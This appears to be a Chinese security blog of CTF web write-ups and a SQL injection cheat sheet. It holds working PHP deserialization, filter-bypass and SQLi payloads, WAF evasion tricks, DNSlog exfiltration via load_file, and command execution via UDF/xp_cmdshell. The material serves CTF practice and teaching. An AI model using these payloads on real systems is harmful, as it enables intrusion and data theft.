当公钥泄露时,将JWT中的Header部分算法改为对称加密,攻击者本地使用泄露的公司进行Token伪造,将获取到的Token发送给验证端时,会使用公钥按照Header中的算法进行解密,而在原来的Header中算法为RS256,需要私钥加密生成Token,可是当我们修改为对称加密的HS256时,我们便可以成功伪造Token,且服务端也可以正常验证。
产生这一问题的主要原因便是,HWT的Header段是可控制的,通常只经过一层base64编码处理,也就是说解密算法可有用户控制。
防御:保护公钥不泄露,将Header段经RSA等方法加密。
特殊情况,不做深入,感兴趣的可见https://www.anquanke.com/post/id/145540#h3-9
]]>菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势。
打开题目,源代码出存在提示:
使用LFI读取index.php与hint.php
1 | http://d4dc224926cd47bca560b0ec2f84bad155efe5b747574b89.changame.ichunqiu.com/?file=php://filter/read=convert.base64-encode/resource=index.php |
得如下源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68<html>
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
很容易可以知道此题考的是php反序列化,通过file引入hint.php
到index.php
,操作payload反序列化执行类中的getflag()
函数
此题有两个难点:
正则Flag判断绕过与随机数md5判断的绕过
前者可通过使用 ///
绕过parse_url()
函数,此时该函数获取到的内容为空,而后者可以使用指针来将token_flag
指向token
,来使两者恒等。
添加以下代码在本地生成序列化字符串:1
2
3
4$a = new Flag(‘flag.php’);
$a->token_flag = &$a->token;
$b = new Handle($a);
echo urlencode(serialize($b));
输出的结果为:1
O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22bc573864331a9e42e4511de6f678aa83%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
注意里边有不可见字符%00
,且需要将Handle
的对象数量改成2+,这样才可以进入__destruct
函数。
故最终payload为:1
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"bc573864331a9e42e4511de6f678aa83";s:10:"token_flag";R:4;}}
打开题目,发现在js地址出使用ajax向calc.php发送数据
使用浏览器访问之,得源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
可以看到过滤了一些常用字符和基于白名单的过滤,
限制得比较死,故此处我们只能使用白名单内的函数来进行命令执行,且不能有黑名单内的字符。
我们注意到,白名单里边的base_convert、dechex、decbin
等用于进制转换的函数,我们可以使用其来绕过基于白名单的检测。比如:phpinfo
可以将phpinfo
先转换成hex
,在转换成十进制,这样就可以做到无字母执行函数。
由于长度问题,我们无法直接在参数c里传过多的白名单函数+字符,所以这里我们使用其他GET
参数传入,不直接使用参数c,即可绕过,但要注意的是此处的参数名,不能为字母,只能为数字,不然会被第二个关键词白名单所拦截。
再由于Ascii
转成Hex
后转回来需要hex2bin
函数,而白名单里并没有这个函数,所以我们需要使用进制转换进行绕过,又因为hex2bin
里部分字母只有在32进制
后才会出现,所以此处我们选择36进制
。将hex2bin
由36进制
成无字母的10进制
得到:37907361743
我们使用base_convert(37907361743,10,36
即可转换成hex2bin
,而_GET
的hex
为5f474554
,里边包含了字母f,需要在进行一次转换:f正好为16进制里的最后一个字母,可直接使用dechex(1598506324)
即可绕过。故$sin=base_convert(37907361743,10,36)(dechex(1598506324))
即为$sin=_GET
接着我们继续构造:
我们知道:$$sin = $_GET
那么$$sin[a]()
即可自定义函数名,但主要此处参数不可为字母,且[]
被过滤,故改成$$sin{0}($$sin{1})`
所以payload构造如下:1
?C=$sin=base_convert(37907361743,10,36)(dechex(1598506324));$$sin{0}($$sin{1});&0=show_source&1=flag.php
F12查看响应头,发现返回tips
访问test.php文件得到源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}?>
代码分析:
漏洞原因:
aes-128-cbc加密存在CBC翻转攻击(不理解,暂时跳过)
md5("ffifdyop",True)
得到的加密字符串为'or'6<crash>
(注:or '数字+字母'
等价于or true
) 打开网页,右键查看源代码发现源码:1
2
3
4
5
6
7
8
9<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->
上网查了下,了解到md5($password,true)返回的是原始 16 字符二进制格式的密文,返回的内容可以存在单引号,故我们可以找个字符串,使其md5(str,true)加密过返回的字符串与原sql语句拼接造成SQL注入攻击。
经过简单的Fuzz,我们知道:字符串'or'6<乱码>"
,此时如果拼接到sql语句中,那么这条语句将会变成一条永真式,因此成功登录,获得flag。
=
被过滤可用regexp 'xxx'
和in (0xaaaa)
代替观察题目可知此题考的是报错注入,右键源代码得到提升:Post发送username&password。
sql语句如下:1
$sql="select * from users where username='$username' and password='$password'";
注意:此处可控的参数有两个。
简单手工测试,发现过滤了#,and
等关键字,而且username处单独过滤了右括号,这意味着我们无法再username出使用函数,因而我们将目光转向password。
经过一番人工Fuzz,发现只有exp()函数没有被过滤,故我们构造语句:exp(~(select * from(select user())a))
成功爆出用户名。
最终我们的payload如下:1
2
3
4
5
6
7
8username=a'/*&password=*/Or exp(~(select * from(select database())a))or'1
//查询当前数据库
username=a'/*&password=*/Or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf')a))or'1
//查询表名,此处由于=被过滤,我们使用regexp来绕过
username=a'/*&password=*/Or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a))or'1
//查询列名,此处由于and被过滤,故而不加数据库名的验证,在实际渗透中最好还是尽量加上。
username=a'/*&password=*/Or exp(~(select * from(select group_concat(value) from ffll44jj)a))or'1
//获取flag
打开网页,随便输入个数字,页面返回You are in...
,输入在数字后加单引号,返回You are not in...
。
猜测此处考的是bool盲注,根据页面返回的内容判断真假。
经过一番简单的fuzz,发现此处过滤的函数只会过滤一次,那么我们可以将过滤关键词双写:oorr
就好了。1
2
3
4id=aaa'oorr(1=1)='1 //返回You are in
id=aaa'oorr(1=2)='1 //返回You are not in
// 此处的aaa是为了让前边条件为假,那么sql语句的判断将依赖于后边的语句
// 即:false ∪ (条件一) = 条件一
我们先判断数据库长度:1
id=aaa'oorr(length(database())>1)='1
其次循环取数据库名进行判断:1
2id=aaa'oorr(mid((select+database())from(1)foorr(1))='c')='1
//由于,被过滤,使用from与for进行绕过,记得for要写成foorr绕过过滤,+号绕过空格过滤
接着循环判断表名:1
id=aaa'oorr(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)foorr(1))='a')='1
之后就不写了,与上边类似,写脚本跑就好。
2147483647
(2^31-1) 64位:9223372036854775807
(2^63-1) 打开题目,发现返回头存在提示信息:
打开链接获得源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49<?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}
foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
?>
代码流程:is_numeric[false] && $req['number']!=strval(intval($req['number']))[false]
-> $value1!=$value2[false]
-> is_palindrome_number($req["number"])[true]
我们知道is_numeric函数与ereg函数一样,存在截断漏洞,而第二个if判断存在弱类型比较的漏洞,我们将这两个漏洞组合起来打一套组合拳。
PHP语言对于32位系统的int变量来说,最大值是2147483647,如果我们传入的数值为2147483647的话,经过strrev函数反转再转成int函数仍是2147483647,因为746384741>2147483647,转成int变量会减小成2147483647,故而绕过看似矛盾的条件。
而对于开始的is_numeric,加上%00或%20即可,此时is_numeric函数便不会认为这是个数字,而对于下边的strval()in、intval()却无影响。
综上所述,我们的number应为:2147483647%00、2147483647%20、%002147483647。
此处%20不能再开头的原因是intval()会将其转换成数字0,而%00无影响。
打开页面,猜测考的是万能密码,手动Fuzz发现过滤了or,故改用'='
成功。
抓包,发现回显的数据貌似是直接取header的值,没有经过数据库,使用报错注入失败,猜测是盲注,由于bool盲注返回的页面一致,故此题应为时间盲注:
简单测试发现逗号被过滤,导致我们无法使用if语句,不过我们可以换成case when then else语句代替:
剩下的就是写脚本慢慢跑了,此处略过。
gourp by xxx with rollup limit 1 offset x#
【创建虚拟表最后一行为pwd的值为NULL,借用offset偏移到最后一个,post传输空的pwd,满足条件】 右键源代码得到提示信息source.txt
,打开得到源码。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
阅读源码可知,我们需要让数据库返回的pwd字段与我们post的内容相同,注意此处是弱类型比较。
我们知道grou by with roolup 将创建个虚拟表,且表的最后一行pwd字段为Null。
mysql> create table test (
-> user varchar(100) not null,
-> pwd varchar(100) not null);
mysql>insert into test values(“admin”,”mypass”);
mysql>select from test group by pwd with rollup
mysql> select from test group by pwd with rollup;
+——-+————+
| user | pwd |
+——-+————+
| guest | alsomypass |
| admin | mypass |
| admin | NULL |
+——-+————+
3 rows in set
mysql> select from test group by pwd with rollup limit 1
;
+——-+————+
| user | pwd |
+——-+————+
| guest | alsomypass |
+——-+————+
mysql> select from test group by pwd with rollup limit 1 offset 0
;
+——-+————+
| user | pwd |
+——-+————+
| guest | alsomypass |
+——-+————+
1 row in set
mysql> select from test group by pwd with rollup limit 1 offset 1
;
+——-+——–+
| user | pwd |
+——-+——–+
| admin | mypass |
+——-+——–+
1 row in set
mysql> select from test group by pwd with rollup limit 1 offset 2
;
+——-+——+
| user | pwd |
+——-+——+
| admin | NULL |
+——-+——+
1 row in set
构造payload:uname=1' or true group by pwd with rollup limit 1 offset 2#&pwd=
offset 2为偏移两个数据,即第三行的pwd字段为空。
exp函数报错一把嗦
简单Fuzz发现过滤了空格,使用内敛注释一把嗦。1
/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables=database()
1 | selectselect |
1 | import requests,base64 |
index.php/index.php
1 | index.php/index.php |
==
弱类型比较,PHP序列化与反序列化 右键查看源代码发现部分源码 :
我们知道0e开头的字符串在与数字0做弱类型比较时会先转成数值0在比较,故:我们只要输入一个经md5加密后密文为0e开头的字符串即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
.submit.php.swp
打开题目,观察源码,发现管理员邮箱:admin@simplexue.com,随便输入一个内容提交,显示step2.php,尝试访问step2.php,网页被重定向且返回html源码,发现存在submit.php文件,猜测存在swp源码泄露,访问.submit.php.swp文件得到部分源码。
1 | ........这一行是省略的代码........ |
payload: `token=0e11111111&emailAddress=admin@simplexue.com`
1e9%00*-*
打开题目,得到题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
首先判断是否用过get方式传入password,其次判断是否只含有数字和字母,如果是则返回错误,接着判断长度小于8且大于9999999。看到这里估计就知道是要考科学计数法了,最后要求get的数据包含*-*
。
我们知道1E8就等于10000000,这样就可以满足长度小于8且大于9999999的条件,不过我们先得绕开判断只有数字和字母的条件,我们知道ereg函数可利用%00进行截断攻击,故我们的payload构造如下:?password=1e8%00*-*
注意此处的%00只占一个字符的大小。
删掉Cookie,?password=
打开题目得到源码:1
2
3
4
5
6
7
8
9
10
11<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
创建session,通过get方式取password值再与session里的password值进行比较,这里我们不知道 session里的password值是多少的,而且我们并不能控制session,不过这里的比较是用==弱类型比较,猜想,如果我们将cookie删除,那么$_SESSION[‘password’]的值将为NULL,此时如果我们get传入的 password为空,即’’,那么比较结果即为true。
payload:将cookie删除或禁用,接着访问?password=
?name[]=1&password[]=2
打开题目获得源码:1
2
3
4
5
6
7
8
9
10
11
12<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
我们知道sha1()函数与md5()类似,当参数为数组时会返回NULL,如果我们传入的name与password为数组时无论其为什么值,都可以通过sha1($name)===sha1($password)
的强类型判断。
故我们的payload构造如下:?name[]=a&password[]=b
/upload/1.php%00
burp抓个上传包:
首先尝试了文件名%00阶段,发现无用,然后看到了我们可以控制上传的目录名,猜测后台为获取目录名再与文件名拼接。
如果我们的目录名存在截断漏洞,那么我们可以构造/uploads/1.php%00这样拼接的时候就只有目录名,达到getshell的目的。
1 | 部分: |
打开题目:
解密问题,按照加密过程反着解密即可。
user=123aaa%27+union+select+%27c4ca4238a0b923820dcc509a6f75849b&pass=1
打开题目,右键查看源代码得到题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
strcasecmp()函数不分大小写进行字符串比较。
首先我们不知道数据库里已有的用户值为多少,更不知其密码。
不过我们可以通过构造联合查询注入来返回我们自定义的数据。
payloadd:user=abc' union select 'c4ca4238a0b923820dcc509a6f75849b&pass=1
1的md5为:c4ca4238a0b923820dcc509a6f75849b
复制代码到浏览器控制台执行即可
复制粘贴进浏览器的js控制台,回车运行即可。
id=%2568ackerDJ
打开题目,页面提示:index.php.txt,打开得到源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
<br><br>
Can you authenticate to this website?
$_GET[id]
在取到值后已经自动urldecode了一次,然而后边再用urldecode解码一次,故可以使用二次编码绕过前边的关键字检测。
查看访问请求返回头,发现有东西:
将这串base64放到表单里提交即可。
拿起小本本记下常考知识点。
只能爆破表名、列名获取数据、无法用盲注等
数据主要存储在mdb、sap文件内
先判断字段数:order by xx
在使用联合查询猜测表名列名:
前后两个子查询返回的结构必须相同,且数据类型必须相同,故常用NULL
猜表:union select 1,2,3,xx
猜列:union select 1,2,password,4,5
(如果页面返回正常,则存在password列,猜表同理)
此方法兼容性不强。
逐字猜解法:
一、查表:and exists (select * from 表名)
//这里的表名需要靠猜解,如果表名存在返回正常页面。
二、查列:
将*
换成列名可进行爆破列名,即:and exists (select 列名 from 表名)
三、确定列名下的数据长度:and (select top 1 len(列名) from 表名)=5
//判断数据长度是否为5,若为5则返回正常
四、逐字猜解数据:and (select top 1 asc(mid(列名,位数,1)) from 表名)=97
//用mid函数取第x位字母,通过asc函数转化成ascii码进行判断比较,如果ascii为97,即字母a,页面返回正常
information_schema表下存储了Mysql数据库所有的数据库结果信息。
常用函数:
用法例子:union select user(),2,3,version(),database(),xxx
可用null代替:union select user(),null,null,version(),database(),xxx
更多函数:
常用查询:
查询全部数据库名:select schema_name from information_schema.schemeta limit 0,10
//取前十个
查询指定表名:select table_name from information_schema.tables where table_schema='sqli'
//若单引号被过滤可用十六进制
查询指定列名:select column_name from information_schema.columns where table_name='user' and table_schema='sqli'
获取指定数据:select username,password from sqli.user
(垮库查询)
#,
– X(X为任意字符)
/(MySQL-5.1)
;%00'or 1=1;%00 'or 1=1 union select 1,2
‘
‘or 1=1 #
‘/!50000or/ 1=1 – - //版本号为5.1.38时只要小于50138
‘/!or*/ 1=1 – -
nd/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/or前的空格可以省略
一、常见:
mysql数据库编码为gbk,且若’被转义成\’
使用id=%df%27
,这里的%27
会被变成\%27
即%5c%27
,再加上前边的%df
变成%df%5c%27
,而%df%5c
在gbk字符集中表示汉子: 運,故语句便成id=運'
,成功逃逸出单引号转义(php中通常是addslashes函数,或开启GPC,PHP5.4版本已移除GPC)
二、php函数utf8转gbk产生:
https://xz.aliyun.com/t/1719
虚拟表报错原理:
payload:union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
https://www.2cto.com/article/201604/498394.html
原理:
extractvalue函数的第二个参数格式错误,会返回参数内容
payload:and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
原理同上
payload:and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
// concat 在前后加上 ~ 使数据不符合参数格式从而报错
id = 1 AND GeometryCollection((select from (select from(select user())a)b))
polygon()
id =1 AND polygon((select from(select from(select user())a)b))
multipoint()
id = 1 AND multipoint((select from(select from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select from(select from(select user())a)b))
linestring()
id = 1 AND LINESTRING((select from(select from(select user())a)b))
multipolygon()
id =1 AND multipolygon((select from(select from(select user())a)b))
原理:
exp函数参数过大,转换时溢出报错
payload:and exp(~(select * from(select user())a))
https://drops.secquan.org/tips/8166
布尔盲注:and ascii(substr(select user(),1,1))>64
如果user()第一位字母Ascii大于64则页面返回正常
时间盲注:and if(ascii(substr(select user(),1,1))>64,sleep(2),1)
如果user()第一位字母Ascii大于64则页面延迟两秒返回
此函数会执行expr函数count此,会造成明显时间延迟,可构造进行时间盲注
常见注入:
MYSQL长度限制绕过
MYSQL对于用户输入的超长字符只会warning 而不是error
真实案例: WP注册admin(55个空格)x用户 修改管理员密码
select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\');
https://www.cnblogs.com/afanti/p/8047530.html
https://wooyun.js.org/drops/%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E4%B8%AD%E4%BD%BF%E7%94%A8DNS%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE.html
1.预编译sql
2.限制输入数据类型
3.过滤编码
4.白名单
5.管理数据库用户权限
6.按时维护,打好补丁
注入中常注意的编码:
若有单引号保护,且无编码二次注入即无漏洞。
若无单引号保护:
字符串可用十六进制表示:0x123456
,也可用concat(char(65)+char(75)+xxx)
注:中间层会将这些编码转换成未编码值
if()可改写为 case when () then () else () end
substr()、mid()等可改写成substr((select user())from(1)for(1))
可用regexp、like、rlike、in等代替
特定字符串被过滤时可用考虑全角字符
a) 大小写混合
b)替换关键字
c)使用编码
d)使用注释
e)等价函数与命令
f)使用特殊符号
g)HTTP参数控制
h)缓冲区溢出
i)整合绕过
load_file()读取文件
into out_file() 写文件
条件:FILE权限,管理员权限默认具有
INTO OUTFILE 与 INTO DOMPFILE的区别
后者适用于二进制文件,会将目标文件写入同一行内;前者适用于文本文件。
MYSQL UDF命令执行:sqlmap: --os-cmd id -v 1
MSSQL:xp_cmdshell
如果页面只返回Yes或No,则原sql查询返回的值可能是可bool值,如果过滤不严,可产生boolean注入,如:and length(database())>10
如果次条件为真切前条件返回真,则页面返回正常。
注入存在于Cookie中
注入存在于Header有中的X-Forward-For中,此函数常用于获取客户端真实IP。
PHP+Mysql不支持
Oracle: || 是连接符
MSSQL: +
MYSQL: [空格]
SQL注入备忘手册(更新2017-12-11)
巧用DNSlog实现无回显注入
MySQL注入技巧
Mysql报错注入原理分析(count()、rand()、group%20by)
深入了解SQL注入绕过waf和过滤机制
本人基于文章bypassword的文章在HTTP协议层面绕过WAF所编写一款工具。
修改图中圈中的部分,Evil_Url为存在注入的地址,Domain为其域名部分。
靶机环境:
PHP5.4+Apache2.2+Mysql5+WAF:
首先部署Django:
其次将注入点换成部署的Url:
如:http://192.168.32.144/2.php
存在POST注入,注入参数为id
,部署的Url为http://127.0.0.1:8000/
Sqlmap命令为python sqlmap.py -u "http://127.0.0.1:8000/" --data "id=1"
支持-r xx.txt
需要修改请求头中的Host地址为Django部署的地址
https://github.com/HackerYunen/Django-chunked-sqli
此项目我不断更新完善,欢迎Star、Issue
因为我只会Django
